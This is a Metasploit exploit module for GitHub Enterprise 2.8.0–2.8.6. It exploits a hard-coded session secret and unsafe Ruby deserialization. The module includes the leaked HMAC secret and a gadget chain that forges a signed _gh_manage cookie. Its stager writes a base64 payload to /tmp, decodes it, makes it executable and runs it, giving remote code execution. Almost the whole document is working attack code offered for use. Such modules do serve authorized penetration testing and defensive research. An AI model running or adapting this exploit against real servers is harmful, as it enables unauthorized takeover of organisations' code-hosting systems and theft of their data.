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Github Enterprise Default Session Secret And Deserialization

Posted on 27 March 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "Github Enterprise Default Session Secret And Deserialization Vulnerability",
'Description' => %q{
This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6.
The first is that the session management uses a hard-coded secret value, which can be
abused to sign a serialized malicious Ruby object. The second problem is due to the
use of unsafe deserialization, which allows the malicious Ruby object to be loaded,
and results in arbitrary remote code execution.

This exploit was tested against version 2.8.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)
'sinn3r' # Porting the PoC to Metasploit
],
'References' =>
[
[ 'EDB', '41616' ],
[ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ],
[ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Github Enterprise 2.8', { } ]
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 8443
},
'Privileged' => false,
'DisclosureDate' => 'Mar 15 2017',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])
], self.class)
end

def secret
'641dd6454584ddabfed6342cc66281fb'
end

def check
uri = normalize_uri(target_uri.path, 'setup', 'unlock')
res = send_request_cgi!({
'method' => 'GET',
'uri' => uri,
'vars_get' =>{
'redirect_to' => '/'
}
})

unless res
vprint_error('Connection timed out.')
return Exploit::CheckCode::Unknown
end

unless res.get_cookies.match(/^_gh_manage/)
vprint_error('No _gh_manage value in cookie found')
return Exploit::CheckCode::Safe
end

cookies = res.get_cookies
vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")
gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)
data = gh_manage_value.split('--').first
hmac = gh_manage_value.split('--').last.split(';', 2).first
vprint_status("Data: #{data.gsub(/
/, '')}")
vprint_status("Extracted HMAC: #{hmac}")
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
vprint_status("Expected HMAC: #{expected_hmac}")

if expected_hmac == hmac
vprint_status("The HMACs match, which means you can sign and tamper the cookie.")
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def get_ruby_code
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
register_file_for_cleanup(b64_fname, bin_fname)
p = Rex::Text.encode_base64(generate_payload_exe)

c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
c << "%x(chmod +x #{bin_fname}); "
c << "%x(#{bin_fname})"
c
end

def serialize
# We don't want to run this code within the context of Framework, so we run it as an
# external process.
# Brilliant trick from Brent and Adam to overcome the issue.
ruby_code = %Q|
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end

erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, \"#{get_ruby_code}; 1\"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"

session =
{
'session_id' => '',
'exploit' => proxy
}

print Marshal.dump(session)
|

serialized_output = `ruby -e "#{ruby_code}"`

serialized_object = [serialized_output].pack('m')
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object)

return serialized_object, hmac
end

def send_serialized_data(dump, hmac)
uri = normalize_uri(target_uri.path)
gh_manage_value = CGI.escape("#{dump}--#{hmac}")
cookie = "_gh_manage=#{gh_manage_value}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'cookie' => cookie
})

if res
print_status("Server returned: #{res.code}")
end
end

def exploit
dump, hmac = serialize
print_status('Serialized Ruby stager')

print_status('Sending serialized Ruby stager...')
send_serialized_data(dump, hmac)
end

end

=begin

Handy information:

To deobfuscate Github code, use this script:
https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42

Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this
algorithm:

* Takes the session hash (Json) in env['rack.session']
* Marshal.dump the hash into a string
* Base64 the string
* Append a hash of the data at the end of the string to prevent tampering.
* The signed data is saved in _gh_manage'

The format looks like this:

[ DATA ]--[ Hash ]

Also see:
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb

=end

 

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